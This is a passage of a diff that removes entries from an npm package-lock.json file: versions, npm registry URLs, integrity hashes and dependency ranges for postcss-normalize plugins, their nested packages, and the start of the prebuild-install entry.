"dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-display-values/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-normalize-display-values/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-normalize-display-values/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-display-values/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-normalize-display-values/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-normalize-display-values/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-positions": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-4.0.0.tgz", - "integrity": "sha1-7pNDq5gbgixjq3JhXszNCFZERaM=", - "dev": true, - "dependencies": { - "cssnano-util-get-arguments": "^4.0.0", - "has": "^1.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/postcss-normalize-positions/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-positions/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-positions/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-normalize-positions/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-normalize-positions/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-positions/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-normalize-positions/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-normalize-positions/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-repeat-style": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-4.0.0.tgz", - "integrity": "sha1-txHFks8W+vn/V15C+hALZ5kIPv8=", - "dev": true, - "dependencies": { - "cssnano-util-get-arguments": "^4.0.0", - "cssnano-util-get-match": "^4.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/postcss-normalize-repeat-style/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-repeat-style/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-repeat-style/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-normalize-repeat-style/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-normalize-repeat-style/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-repeat-style/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-normalize-repeat-style/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-normalize-repeat-style/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-string": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-4.0.0.tgz", - "integrity": "sha1-cYy20wpvrGrGqDDjLAbAfbxm/l0=", - "dev": true, - "dependencies": { - "has": "^1.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/postcss-normalize-string/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-string/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-string/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-normalize-string/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-normalize-string/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-string/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-normalize-string/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-normalize-string/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-timing-functions": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-4.0.0.tgz", - "integrity": "sha1-A1HymIaqmB1D2RssK9GuptCvbSM=", - "dev": true, - "dependencies": { - "cssnano-util-get-match": "^4.0.0", - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/postcss-normalize-timing-functions/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-timing-functions/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-timing-functions/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-normalize-timing-functions/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-normalize-timing-functions/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-timing-functions/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-normalize-timing-functions/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-normalize-timing-functions/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-unicode": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-4.0.0.tgz", - "integrity": "sha1-Ws1dR7rqXRdnSyzMSuUWb6iM35c=", - "dev": true, - "dependencies": { - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/postcss-normalize-unicode/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-unicode/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-unicode/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-normalize-unicode/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-normalize-unicode/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-unicode/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-normalize-unicode/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-normalize-unicode/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-url": { - "version": "3.0.8", - "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-3.0.8.tgz", - "integrity": "sha1-EI90s/L82viRov+j6kWSJ5/HgiI=", - "dev": true, - "dependencies": { - "is-absolute-url": "^2.0.0", - "normalize-url": "^1.4.0", - "postcss": "^5.0.14", - "postcss-value-parser": "^3.2.3" - } - }, - "node_modules/postcss-normalize-whitespace": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-4.0.0.tgz", - "integrity": "sha1-HafnaxCuY8EYJ/oE/Du0oe/pnMA=", - "dev": true, - "dependencies": { - "postcss": "^6.0.0", - "postcss-value-parser": "^3.0.0" - }, - "engines": { - "node": ">=6.9.0" - } - }, - "node_modules/postcss-normalize-whitespace/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-whitespace/node_modules/chalk": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.1.tgz", - "integrity": "sha512-ObN6h1v2fTJSmUXoS3nMQ92LbDK9be4TV+6G+omQlGJFdcUX5heKi1LZ1YnRMIgwTLEj3E24bT6tYni50rlCfQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-whitespace/node_modules/color-convert": { - "version": "1.9.2", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.2.tgz", - "integrity": "sha512-3NUJZdhMhcdPn8vJ9v2UQJoH0qqoGUkYTgFEPZaPjEtwmmKUfNV46zZmgB2M5M4DCEQHMaCfWHCxiBflLm04Tg==", - "dev": true, - "dependencies": { - "color-name": "1.1.1" - } - }, - "node_modules/postcss-normalize-whitespace/node_modules/color-name": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.1.tgz", - "integrity": "sha1-SxQVMEz1ACjqgWQ2Q72C6gWANok=", - "dev": true - }, - "node_modules/postcss-normalize-whitespace/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-normalize-whitespace/node_modules/postcss": { - "version": "6.0.23", - "resolved": "https://registry.npmjs.org/postcss/-/postcss-6.0.23.tgz", - "integrity": "sha512-soOk1h6J3VMTZtVeVpv15/Hpdl2cBLX3CAw4TAbkpTJiNPk9YP/zWcD1ND+xEtvyuuvKzbxliTOIyvkSeSJ6ag==", - "dev": true, - "dependencies": { - "chalk": "^2.4.1", - "source-map": "^0.6.1", - "supports-color": "^5.4.0" - }, - "engines": { - "node": ">=4.0.0" - } - }, - "node_modules/postcss-normalize-whitespace/node_modules/source-map": { - "version": "0.6.1", - "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", - "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", - "dev": true, - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/postcss-normalize-whitespace/node_modules/supports-color": { - "version": "5.4.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.4.0.tgz", - "integrity": "sha512-zjaXglF5nnWpsq470jSv6P9DwPvgLkuapYmfDm3JWOm0vkNTVF2tI4UrN2r6jH1qM/uc/WtxYY1hYoA2dOKj5w==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/postcss-ordered-values": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-2.2.3.tgz", - "integrity": "sha1-7sbCpntsQSqNsgQud/6NpD+VwR0=", - "dev": true, - "dependencies": { - "postcss": "^5.0.4", - "postcss-value-parser": "^3.0.1" - } - }, - "node_modules/postcss-reduce-idents": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-idents/-/postcss-reduce-idents-2.4.0.tgz", - "integrity": "sha1-wsbSDMlYKE9qv75j92Cb9AkFmtM=", - "dev": true, - "dependencies": { - "postcss": "^5.0.4", - "postcss-value-parser": "^3.0.2" - } - }, - "node_modules/postcss-reduce-initial": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-1.0.1.tgz", - "integrity": "sha1-aPgGlfBF0IJjqHmtJA343WT2ROo=", - "dev": true, - "dependencies": { - "postcss": "^5.0.4" - } - }, - "node_modules/postcss-reduce-transforms": { - "version": "1.0.4", - "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-1.0.4.tgz", - "integrity": "sha1-/3b02CEkN7McKYpC0uFEQCV3GuE=", - "dev": true, - "dependencies": { - "has": "^1.0.1", - "postcss": "^5.0.8", - "postcss-value-parser": "^3.0.1" - } - }, - "node_modules/postcss-selector-parser": { - "version": "2.2.3", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-2.2.3.tgz", - "integrity": "sha1-+UN3iGBsPJrO4W/+jYsWKX8nu5A=", - "dev": true, - "dependencies": { - "flatten": "^1.0.2", - "indexes-of": "^1.0.1", - "uniq": "^1.0.1" - } - }, - "node_modules/postcss-svgo": { - "version": "2.1.6", - "resolved": "https://registry.npmjs.org/postcss-svgo/-/postcss-svgo-2.1.6.tgz", - "integrity": "sha1-tt8YqmE7Zm4TPwittSGcJoSsEI0=", - "dev": true, - "dependencies": { - "is-svg": "^2.0.0", - "postcss": "^5.0.14", - "postcss-value-parser": "^3.2.3", - "svgo": "^0.7.0" - } - }, - "node_modules/postcss-unique-selectors": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/postcss-unique-selectors/-/postcss-unique-selectors-2.0.2.tgz", - "integrity": "sha1-mB1X0p3csz57Hf4f1DuGSfkzyh0=", - "dev": true, - "dependencies": { - "alphanum-sort": "^1.0.1", - "postcss": "^5.0.4", - "uniqs": "^2.0.0" - } - }, - "node_modules/postcss-value-parser": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-3.3.0.tgz", - "integrity": "sha1-h/OPnxj3dKSrTIojL1xc6IcqnRU=", - "dev": true - }, - "node_modules/postcss-zindex": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/postcss-zindex/-/postcss-zindex-2.2.0.tgz", - "integrity": "sha1-0hCd3AVbka9n/EyzsCWUZjnSryI=", - "dev": true, - "dependencies": { - "has": "^1.0.1", - "postcss": "^5.0.4", - "uniqs": "^2.0.0" - } - }, - "node_modules/postcss/node_modules/supports-color": { - "version": "3.2.3", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-3.2.3.tgz", - "integrity": "sha1-ZawFBLOVQXHYpklGsq48u4pfVPY=", - "dev": true, - "dependencies": { - "has-flag": "^1.0.0" - }, - "engines": { - "node": ">=0.8.0" - } - }, - "node_modules/prebuild-install": { - "version": "2.5.1", - "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-2.5.1.tgz", - "integrity": "sha512-3DX9L6pzwc1m1ksMkW3Ky2WLgPQUBiySOfXVl3WZyAeJSyJb4wtoH9OmeRGcubAWsMlLiL8BTHbwfm/jPQE9Ag==", - "dev": true, - "optional": true, - "dependencies": { - "detect-libc": "^1.0.3", - "expand-template": "^1.0.2", - "github-from-package": "0.0.0", - "minimist": "^1.2.0", - "mkdirp": "^0.5.1", - "node-abi": "^2.2.0", - "noop-logger": "^0.1.1", - "npmlog": "^4.0.1", - "os-homedir": "^1.0.1", - 